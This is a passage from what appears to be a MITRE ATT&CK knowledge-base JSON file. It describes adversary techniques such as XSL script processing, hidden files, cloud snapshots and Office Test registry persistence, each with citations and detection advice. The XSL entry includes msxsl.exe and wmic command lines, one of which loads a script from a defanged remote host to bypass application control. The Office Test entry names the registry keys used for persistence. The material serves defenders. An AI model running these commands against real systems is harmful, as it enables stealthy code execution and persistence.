allowing adversaries to authenticate as any user managed by the victim tenant (Citation: Okta Cross-Tenant Impersonation 2023)\n\nAdversaries may temporarily modify domain or tenant policy, carry out a malicious action(s), and then revert the change to remove suspicious indicators.",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
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                    "kill_chain_name": "mitre-attack",
                    "phase_name": "privilege-escalation"
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            "x_mitre_contributors": [
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "It may be possible to detect domain policy modifications using Windows event logs. Group policy modifications, for example, may be logged under a variety of Windows event IDs for modifying, creating, undeleting, moving, and deleting directory service objects (Event ID 5136, 5137, 5138, 5139, 5141 respectively). Monitor for modifications to domain trust settings, such as when a user or application modifies the federation settings on the domain or updates domain authentication from Managed to Federated via ActionTypes <code>Set federation settings on domain</code> and <code>Set domain authentication</code>.(Citation: Microsoft - Azure Sentinel ADFSDomainTrustMods)(Citation: Microsoft 365 Defender Solorigate) This may also include monitoring for Event ID 307 which can be correlated to relevant Event ID 510 with the same Instance ID for change details.(Citation: Sygnia Golden SAML)(Citation: CISA SolarWinds Cloud Detection)\n\nConsider monitoring for commands/cmdlets and command-line arguments that may be leveraged to modify domain policy settings.(Citation: Microsoft - Update or Repair Federated domain) Some domain policy modifications, such as changes to federation settings, are likely to be rare.(Citation: Microsoft 365 Defender Solorigate)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Identity Provider"
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            "x_mitre_version": "3.2",
            "x_mitre_data_sources": [
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                "Active Directory: Active Directory Object Creation",
                "Command: Command Execution",
                "Active Directory: Active Directory Object Modification",
                "Application Log: Application Log Content"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ebbe170d-aa74-4946-8511-9921243415a3",
            "created": "2018-10-17T00:14:20.652Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
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            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1220",
                    "external_id": "T1220"
                },
                {
                    "source_name": "Reaqta MSXSL Spearphishing MAR 2018",
                    "description": "Admin. (2018, March 2). Spear-phishing campaign leveraging on MSXSL. Retrieved July 3, 2018.",
                    "url": "https://reaqta.com/2018/03/spear-phishing-campaign-leveraging-msxsl/"
                },
                {
                    "source_name": "Twitter SquiblyTwo Detection APR 2018",
                    "description": "Desimone, J. (2018, April 18). Status Update. Retrieved September 12, 2024.",
                    "url": "https://x.com/dez_/status/986614411711442944"
                },
                {
                    "source_name": "LOLBAS Wmic",
                    "description": "LOLBAS. (n.d.). Wmic.exe. Retrieved July 31, 2019.",
                    "url": "https://lolbas-project.github.io/lolbas/Binaries/Wmic/"
                },
                {
                    "source_name": "Microsoft msxsl.exe",
                    "description": "Microsoft. (n.d.). Command Line Transformation Utility (msxsl.exe). Retrieved July 3, 2018.",
                    "url": "https://www.microsoft.com/download/details.aspx?id=21714"
                },
                {
                    "source_name": "Penetration Testing Lab MSXSL July 2017",
                    "description": "netbiosX. (2017, July 6). AppLocker Bypass \u2013 MSXSL. Retrieved July 3, 2018.",
                    "url": "https://pentestlab.blog/2017/07/06/applocker-bypass-msxsl/"
                },
                {
                    "source_name": "XSL Bypass Mar 2019",
                    "description": "Singh, A. (2019, March 14). MSXSL.EXE and WMIC.EXE \u2014 A Way to Proxy Code Execution. Retrieved August 2, 2019.",
                    "url": "https://medium.com/@threathuntingteam/msxsl-exe-and-wmic-exe-a-way-to-proxy-code-execution-8d524f642b75"
                },
                {
                    "source_name": "Microsoft XSLT Script Mar 2017",
                    "description": "Wenzel, M. et al. (2017, March 30). XSLT Stylesheet Scripting Using <msxsl:script>. Retrieved July 3, 2018.",
                    "url": "https://docs.microsoft.com/dotnet/standard/data/xml/xslt-stylesheet-scripting-using-msxsl-script"
                }
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            "modified": "2025-04-15T19:59:19.125Z",
            "name": "XSL Script Processing",
            "description": "Adversaries may bypass application control and obscure execution of code by embedding scripts inside XSL files. Extensible Stylesheet Language (XSL) files are commonly used to describe the processing and rendering of data within XML files. To support complex operations, the XSL standard includes support for embedded scripting in various languages. (Citation: Microsoft XSLT Script Mar 2017)\n\nAdversaries may abuse this functionality to execute arbitrary files while potentially bypassing application control. Similar to [Trusted Developer Utilities Proxy Execution](https://attack.mitre.org/techniques/T1127), the Microsoft common line transformation utility binary (msxsl.exe) (Citation: Microsoft msxsl.exe) can be installed and used to execute malicious JavaScript embedded within local or remote (URL referenced) XSL files. (Citation: Penetration Testing Lab MSXSL July 2017) Since msxsl.exe is not installed by default, an adversary will likely need to package it with dropped files. (Citation: Reaqta MSXSL Spearphishing MAR 2018) Msxsl.exe takes two main arguments, an XML source file and an XSL stylesheet. Since the XSL file is valid XML, the adversary may call the same XSL file twice. When using msxsl.exe adversaries may also give the XML/XSL files an arbitrary file extension.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: Penetration Testing Lab MSXSL July 2017)(Citation: XSL Bypass Mar 2019)\n\n* <code>msxsl.exe customers[.]xml script[.]xsl</code>\n* <code>msxsl.exe script[.]xsl script[.]xsl</code>\n* <code>msxsl.exe script[.]jpeg script[.]jpeg</code>\n\nAnother variation of this technique, dubbed \u201cSquiblytwo\u201d, involves using [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) to invoke JScript or VBScript within an XSL file.(Citation: LOLBAS Wmic) This technique can also execute local/remote scripts and, similar to its [Regsvr32](https://attack.mitre.org/techniques/T1218/010)/ \"Squiblydoo\" counterpart, leverages a trusted, built-in Windows tool. Adversaries may abuse any alias in [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) provided they utilize the /FORMAT switch.(Citation: XSL Bypass Mar 2019)\n\nCommand-line examples:(Citation: XSL Bypass Mar 2019)(Citation: LOLBAS Wmic)\n\n* Local File: <code>wmic process list /FORMAT:evil[.]xsl</code>\n* Remote File: <code>wmic os get /FORMAT:\u201dhttps[:]//example[.]com/evil[.]xsl\u201d</code>",
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                {
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                    "phase_name": "defense-evasion"
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            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Avneet Singh",
                "Casey Smith",
                "Praetorian"
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            "x_mitre_deprecated": false,
            "x_mitre_detection": "Use process monitoring to monitor the execution and arguments of msxsl.exe and wmic.exe. Compare recent invocations of these utilities with prior history of known good arguments and loaded files to determine anomalous and potentially adversarial activity (ex: URL command line arguments, creation of external network connections, loading of DLLs associated with scripting). (Citation: LOLBAS Wmic) (Citation: Twitter SquiblyTwo Detection APR 2018) Command arguments used before and after the script invocation may also be useful in determining the origin and purpose of the payload being loaded.\n\nThe presence of msxsl.exe or other utilities that enable proxy execution that are typically used for development, debugging, and reverse engineering on a system that is not used for these purposes may be suspicious.",
            "x_mitre_domains": [
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            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
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            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Module: Module Load",
                "Process: Process Creation"
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        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ec4be82f-940c-4dcb-87fe-2bbdd17c692f",
            "created": "2020-10-02T17:00:44.586Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1596/005",
                    "external_id": "T1596.005"
                },
                {
                    "source_name": "Shodan",
                    "description": "Shodan. (n.d.). Shodan. Retrieved October 20, 2020.",
                    "url": "https://shodan.io"
                }
            ],
            "object_marking_refs": [
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            "modified": "2025-04-15T23:02:32.145Z",
            "name": "Scan Databases",
            "description": "Adversaries may search within public scan databases for information about victims that can be used during targeting. Various online services continuously publish the results of Internet scans/surveys, often harvesting information such as active IP addresses, hostnames, open ports, certificates, and even server banners.(Citation: Shodan)\n\nAdversaries may search scan databases to gather actionable information. Threat actors can use online resources and lookup tools to harvest information from these services. Adversaries may seek information about their already identified targets, or use these datasets to discover opportunities for successful breaches. Information from these sources may reveal opportunities for other forms of reconnaissance (ex: [Active Scanning](https://attack.mitre.org/techniques/T1595) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [External Remote Services](https://attack.mitre.org/techniques/T1133) or [Exploit Public-Facing Application](https://attack.mitre.org/techniques/T1190)).",
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                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
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            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.0"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ec8fc7e2-b356-455c-8db5-2e37be158e7d",
            "created": "2020-02-26T17:46:13.128Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1564/001",
                    "external_id": "T1564.001"
                },
                {
                    "source_name": "Sofacy Komplex Trojan",
                    "description": "Dani Creus, Tyler Halfpop, Robert Falcone. (2016, September 26). Sofacy's 'Komplex' OS X Trojan. Retrieved July 8, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/09/unit42-sofacys-komplex-os-x-trojan/"
                },
                {
                    "source_name": "Antiquated Mac Malware",
                    "description": "Thomas Reed. (2017, January 18). New Mac backdoor using antiquated code. Retrieved July 5, 2017.",
                    "url": "https://blog.malwarebytes.com/threat-analysis/2017/01/new-mac-backdoor-using-antiquated-code/"
                },
                {
                    "source_name": "WireLurker",
                    "description": "Claud Xiao. (n.d.). WireLurker: A New Era in iOS and OS X Malware. Retrieved July 10, 2017.",
                    "url": "https://www.paloaltonetworks.com/content/dam/pan/en_US/assets/pdf/reports/Unit_42/unit42-wirelurker.pdf"
                }
            ],
            "object_marking_refs": [
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            ],
            "modified": "2025-04-25T14:48:27.868Z",
            "name": "Hidden Files and Directories",
            "description": "Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a \u2018hidden\u2019 file. These files don\u2019t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches (<code>dir /a</code> for Windows and <code>ls \u2013a</code> for Linux and macOS).\n\nOn Linux and Mac, users can mark specific files as hidden simply by putting a \u201c.\u201d as the first character in the file or folder name  (Citation: Sofacy Komplex Trojan) (Citation: Antiquated Mac Malware). Files and folders that start with a period, \u2018.\u2019, are by default hidden from being viewed in the Finder application and standard command-line utilities like \u201cls\u201d. Users must specifically change settings to have these files viewable.\n\nFiles on macOS can also be marked with the UF_HIDDEN flag which prevents them from being seen in Finder.app, but still allows them to be seen in Terminal.app (Citation: WireLurker). On Windows, users can mark specific files as hidden by using the attrib.exe binary. Many applications create these hidden files and folders to store information so that it doesn\u2019t clutter up the user\u2019s workspace. For example, SSH utilities create a .ssh folder that\u2019s hidden and contains the user\u2019s known hosts and keys.\n\nAdversaries can use this to their advantage to hide files and folders anywhere on the system and evading a typical user or system analysis that does not incorporate investigation of hidden files.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor the file system and shell commands for files being created with a leading \".\" and the Windows command-line use of attrib.exe to add the hidden attribute.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "macOS",
                "Linux"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Process: Process Creation",
                "File: File Creation",
                "File: File Metadata",
                "Command: Command Execution"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ed2e45f9-d338-4eb2-8ce5-3a2e03323bc1",
            "created": "2020-06-09T15:33:13.563Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1578/001",
                    "external_id": "T1578.001"
                },
                {
                    "source_name": "AWS Cloud Trail Backup API",
                    "description": "Amazon. (2020). Logging AWS Backup API Calls with AWS CloudTrail. Retrieved April 27, 2020.",
                    "url": "https://docs.aws.amazon.com/aws-backup/latest/devguide/logging-using-cloudtrail.html"
                },
                {
                    "source_name": "GCP - Creating and Starting a VM",
                    "description": "Google. (2020, April 23). Creating and Starting a VM instance. Retrieved May 1, 2020.",
                    "url": "https://cloud.google.com/compute/docs/instances/create-start-instance#api_2"
                },
                {
                    "source_name": "Cloud Audit Logs",
                    "description": "Google. (n.d.). Audit Logs. Retrieved June 1, 2020.",
                    "url": "https://cloud.google.com/logging/docs/audit#admin-activity"
                },
                {
                    "source_name": "Mandiant M-Trends 2020",
                    "description": "Mandiant. (2020, February). M-Trends 2020. Retrieved November 17, 2024.",
                    "url": "https://www.mandiant.com/sites/default/files/2021-09/mtrends-2020.pdf"
                },
                {
                    "source_name": "Azure - Monitor Logs",
                    "description": "Microsoft. (2019, June 4). Monitor at scale by using Azure Monitor. Retrieved May 1, 2020.",
                    "url": "https://docs.microsoft.com/en-us/azure/backup/backup-azure-monitoring-use-azuremonitor"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:11:14.755Z",
            "name": "Create Snapshot",
            "description": "An adversary may create a snapshot or data backup within a cloud account to evade defenses. A snapshot is a point-in-time copy of an existing cloud compute component such as a virtual machine (VM), virtual hard drive, or volume. An adversary may leverage permissions to create a snapshot in order to bypass restrictions that prevent access to existing compute service infrastructure, unlike in [Revert Cloud Instance](https://attack.mitre.org/techniques/T1578/004) where an adversary may revert to a snapshot to evade detection and remove evidence of their presence.\n\nAn adversary may [Create Cloud Instance](https://attack.mitre.org/techniques/T1578/002), mount one or more created snapshots to that instance, and then apply a policy that allows the adversary access to the created instance, such as a firewall policy that allows them inbound and outbound SSH access.(Citation: Mandiant M-Trends 2020)",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "defense-evasion"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_contributors": [
                "Praetorian"
            ],
            "x_mitre_deprecated": false,
            "x_mitre_detection": "The creation of a snapshot is a common part of operations within many cloud environments. Events should then not be viewed in isolation, but as part of a chain of behavior that could lead to other activities such as the creation of one or more snapshots and the restoration of these snapshots by a new user account.\n\nIn AWS, CloudTrail logs capture the creation of snapshots and all API calls for AWS Backup as events. Using the information collected by CloudTrail, you can determine the request that was made, the IP address from which the request was made, which user made the request, when it was made, and additional details.(Citation: AWS Cloud Trail Backup API).\n\nIn Azure, the creation of a snapshot may be captured in Azure activity logs. Backup restoration events can also be detected through Azure Monitor Log Data by creating a custom alert for completed restore jobs.(Citation: Azure - Monitor Logs)\n\nGoogle's Admin Activity audit logs within their Cloud Audit logs can be used to detect the usage of the <code>gcloud compute instances create</code> command to create a new VM disk from a snapshot.(Citation: Cloud Audit Logs) It is also possible to detect the usage of the GCP API with the <code>\"sourceSnapshot\":</code> parameter pointed to <code>\"global/snapshots/[BOOT_SNAPSHOT_NAME]</code>.(Citation: GCP - Creating and Starting a VM)",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "IaaS"
            ],
            "x_mitre_version": "1.2",
            "x_mitre_data_sources": [
                "Snapshot: Snapshot Creation",
                "Snapshot: Snapshot Metadata"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ed730f20-0e44-48b9-85f8-0e2adeb76867",
            "created": "2020-10-02T16:32:33.126Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1591/001",
                    "external_id": "T1591.001"
                },
                {
                    "source_name": "ThreatPost Broadvoice Leak",
                    "description": "Seals, T. (2020, October 15). Broadvoice Leak Exposes 350M Records, Personal Voicemail Transcripts. Retrieved October 20, 2020.",
                    "url": "https://threatpost.com/broadvoice-leaks-350m-records-voicemail-transcripts/160158/"
                },
                {
                    "source_name": "SEC EDGAR Search",
                    "description": "U.S. SEC. (n.d.). EDGAR - Search and Access. Retrieved November 17, 2024.",
                    "url": "https://www.sec.gov/edgar/search/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:16:44.365Z",
            "name": "Determine Physical Locations",
            "description": "Adversaries may gather the victim's physical location(s) that can be used during targeting. Information about physical locations of a target organization may include a variety of details, including where key resources and infrastructure are housed. Physical locations may also indicate what legal jurisdiction and/or authorities the victim operates within.\n\nAdversaries may gather this information in various ways, such as direct elicitation via [Phishing for Information](https://attack.mitre.org/techniques/T1598). Physical locations of a target organization may also be exposed to adversaries via online or other accessible data sets (ex: [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594) or [Social Media](https://attack.mitre.org/techniques/T1593/001)).(Citation: ThreatPost Broadvoice Leak)(Citation: SEC EDGAR Search) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593)), establishing operational resources (ex: [Develop Capabilities](https://attack.mitre.org/techniques/T1587) or [Obtain Capabilities](https://attack.mitre.org/techniques/T1588)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Hardware Additions](https://attack.mitre.org/techniques/T1200)).",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "reconnaissance"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1"
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--ed7efd4d-ce28-4a19-a8e6-c58011eb2c7a",
            "created": "2019-11-07T19:44:04.475Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1137/002",
                    "external_id": "T1137.002"
                },
                {
                    "source_name": "Palo Alto Office Test Sofacy",
                    "description": "Falcone, R. (2016, July 20). Technical Walkthrough: Office Test Persistence Method Used In Recent Sofacy Attacks. Retrieved July 3, 2017.",
                    "url": "https://researchcenter.paloaltonetworks.com/2016/07/unit42-technical-walkthrough-office-test-persistence-method-used-in-recent-sofacy-attacks/"
                },
                {
                    "source_name": "Hexacorn Office Test",
                    "description": "Hexacorn. (2014, April 16). Beyond good ol\u2019 Run key, Part 10. Retrieved July 3, 2017.",
                    "url": "http://www.hexacorn.com/blog/2014/04/16/beyond-good-ol-run-key-part-10/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:55:04.029Z",
            "name": "Office Test",
            "description": "Adversaries may abuse the Microsoft Office \"Office Test\" Registry key to obtain persistence on a compromised system. An Office Test Registry location exists that allows a user to specify an arbitrary DLL that will be executed every time an Office application is started. This Registry key is thought to be used by Microsoft to load DLLs for testing and debugging purposes while developing Office applications. This Registry key is not created by default during an Office installation.(Citation: Hexacorn Office Test)(Citation: Palo Alto Office Test Sofacy)\n\nThere exist user and global Registry keys for the Office Test feature, such as:\n\n* <code>HKEY_CURRENT_USER\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n* <code>HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Office test\\Special\\Perf</code>\n\nAdversaries may add this Registry key and specify a malicious DLL that will be executed whenever an Office application, such as Word or Excel, is started.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "persistence"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Monitor for the creation of the Office Test Registry key. Many Office-related persistence mechanisms require changes to the Registry and for binaries, files, or scripts to be written to disk or existing files modified to include malicious scripts. Collect events related to Registry key creation and modification for keys that could be used for Office-based persistence. Since v13.52, Autoruns can detect tasks set up using the Office Test Registry key.(Citation: Palo Alto Office Test Sofacy)\n\nConsider monitoring Office processes for anomalous DLL loads.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": true,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "Windows",
                "Office Suite"
            ],
            "x_mitre_version": "1.3",
            "x_mitre_data_sources": [
                "Windows Registry: Windows Registry Key Creation",
                "Command: Command Execution",
                "File: File Modification",
                "Windows Registry: Windows Registry Key Modification",
                "File: File Creation",
                "Process: Process Creation",
                "Module: Module Load"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--edadea33-549c-4ed1-9783-8f5a5853cbdf",
            "created": "2020-10-01T01:30:00.877Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": false,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1587",
                    "external_id": "T1587"
                },
                {
                    "source_name": "Kaspersky Sofacy",
                    "description": "Kaspersky Lab's Global Research and Analysis Team. (2015, December 4). Sofacy APT hits high profile targets with updated toolset. Retrieved December 10, 2015.",
                    "url": "https://securelist.com/sofacy-apt-hits-high-profile-targets-with-updated-toolset/72924/"
                },
                {
                    "source_name": "Splunk Kovar Certificates 2017",
                    "description": "Kovar, R. (2017, December 11). Tall Tales of Hunting with TLS/SSL Certificates. Retrieved October 16, 2020.",
                    "url": "https://www.splunk.com/en_us/blog/security/tall-tales-of-hunting-with-tls-ssl-certificates.html"
                },
                {
                    "source_name": "Mandiant APT1",
                    "description": "Mandiant. (n.d.). APT1 Exposing One of China\u2019s Cyber Espionage Units. Retrieved July 18, 2016.",
                    "url": "https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"
                },
                {
                    "source_name": "Talos Promethium June 2020",
                    "description": "Mercer, W. et al. (2020, June 29). PROMETHIUM extends global reach with StrongPity3 APT. Retrieved July 20, 2020.",
                    "url": "https://blog.talosintelligence.com/2020/06/promethium-extends-with-strongpity3.html"
                },
                {
                    "source_name": "Bitdefender StrongPity June 2020",
                    "description": "Tudorica, R. et al. (2020, June 30). StrongPity APT - Revealing Trojanized Tools, Working Hours and Infrastructure. Retrieved July 20, 2020.",
                    "url": "https://www.bitdefender.com/files/News/CaseStudies/study/353/Bitdefender-Whitepaper-StrongPity-APT.pdf"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-15T22:17:05.876Z",
            "name": "Develop Capabilities",
            "description": "Adversaries may build capabilities that can be used during targeting. Rather than purchasing, freely downloading, or stealing capabilities, adversaries may develop their own capabilities in-house. This is the process of identifying development requirements and building solutions such as malware, exploits, and self-signed certificates. Adversaries may develop capabilities to support their operations throughout numerous phases of the adversary lifecycle.(Citation: Mandiant APT1)(Citation: Kaspersky Sofacy)(Citation: Bitdefender StrongPity June 2020)(Citation: Talos Promethium June 2020)\n\nAs with legitimate development efforts, different skill sets may be required for developing capabilities. The skills needed may be located in-house, or may need to be contracted out. Use of a contractor may be considered an extension of that adversary's development capabilities, provided the adversary plays a role in shaping requirements and maintains a degree of exclusivity to the capability.",
            "kill_chain_phases": [
                {
                    "kill_chain_name": "mitre-attack",
                    "phase_name": "resource-development"
                }
            ],
            "x_mitre_attack_spec_version": "3.2.0",
            "x_mitre_deprecated": false,
            "x_mitre_detection": "Consider analyzing malware for features that may be associated with the adversary and/or their developers, such as compiler used, debugging artifacts, or code similarities. Malware repositories can also be used to identify additional samples associated with the adversary and identify development patterns over time.\n\nConsider use of services that may aid in the tracking of certificates in use on sites across the Internet. In some cases it may be possible to pivot on known pieces of certificate information to uncover other adversary infrastructure.(Citation: Splunk Kovar Certificates 2017)\n\nMuch of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Defense Evasion or Command and Control.",
            "x_mitre_domains": [
                "enterprise-attack"
            ],
            "x_mitre_is_subtechnique": false,
            "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "x_mitre_platforms": [
                "PRE"
            ],
            "x_mitre_version": "1.1",
            "x_mitre_data_sources": [
                "Malware Repository: Malware Content",
                "Malware Repository: Malware Metadata",
                "Internet Scan: Response Content"
            ]
        },
        {
            "type": "attack-pattern",
            "spec_version": "2.1",
            "id": "attack-pattern--edbe24e9-aec4-4994-ac75-6a6bc7f1ddd0",
            "created": "2018-01-16T16:13:52.465Z",
            "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
            "revoked": true,
            "external_references": [
                {
                    "source_name": "mitre-attack",
                    "url": "https://attack.mitre.org/techniques/T1173",
                    "external_id": "T1173"
                },
                {
                    "source_name": "BleepingComputer DDE Disabled in Word Dec 2017",
                    "description": "Cimpanu, C. (2017, December 15). Microsoft Disables DDE Feature in Word to Prevent Further Malware Attacks. Retrieved December 19, 2017.",
                    "url": "https://www.bleepingcomputer.com/news/microsoft/microsoft-disables-dde-feature-in-word-to-prevent-further-malware-attacks/"
                },
                {
                    "source_name": "Microsoft ADV170021 Dec 2017",
                    "description": "Microsoft. (2017, December 12). ADV170021 - Microsoft Office Defense in Depth Update. Retrieved February 3, 2018.",
                    "url": "https://portal.msrc.microsoft.com/security-guidance/advisory/ADV170021"
                },
                {
                    "source_name": "Microsoft DDE Advisory Nov 2017",
                    "description": "Microsoft. (2017, November 8). Microsoft Security Advisory 4053440 - Securely opening Microsoft Office documents that contain Dynamic Data Exchange (DDE) fields. Retrieved November 21, 2017.",
                    "url": "https://technet.microsoft.com/library/security/4053440"
                },
                {
                    "source_name": "SensePost PS DDE May 2016",
                    "description": "El-Sherei, S. (2016, May 20). PowerShell, C-Sharp and DDE The Power Within. Retrieved November 22, 2017.",
                    "url": "https://sensepost.com/blog/2016/powershell-c-sharp-and-dde-the-power-within/"
                },
                {
                    "source_name": "Kettle CSV DDE Aug 2014",
                    "description": "Kettle, J. (2014, August 29). Comma Separated Vulnerabilities. Retrieved November 22, 2017.",
                    "url": "https://www.contextis.com/blog/comma-separated-vulnerabilities"
                },
                {
                    "source_name": "Enigma Reviving DDE Jan 2018",
                    "description": "Nelson, M. (2018, January 29). Reviving DDE: Using OneNote and Excel for Code Execution. Retrieved February 3, 2018.",
                    "url": "https://posts.specterops.io/reviving-dde-using-onenote-and-excel-for-code-execution-d7226864caee"
                },
                {
                    "source_name": "SensePost MacroLess DDE Oct 2017",
                    "description": "Stalmans, E., El-Sherei, S. (2017, October 9). Macro-less Code Exec in MSWord. Retrieved November 21, 2017.",
                    "url": "https://sensepost.com/blog/2017/macro-less-code-exec-in-msword/"
                },
                {
                    "source_name": "NVisio Labs DDE Detection Oct 2017",
                    "description": "NVISO Labs. (2017, October 11). Detecting DDE in MS Office documents. Retrieved November 21, 2017.",
                    "url": "https://blog.nviso.be/2017/10/11/detecting-dde-in-ms-office-documents/"
                }
            ],
            "object_marking_refs": [
                "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
            ],
            "modified": "2025-04-25T15:16:20.948Z",
            "name": "Dynamic Data Exchange",
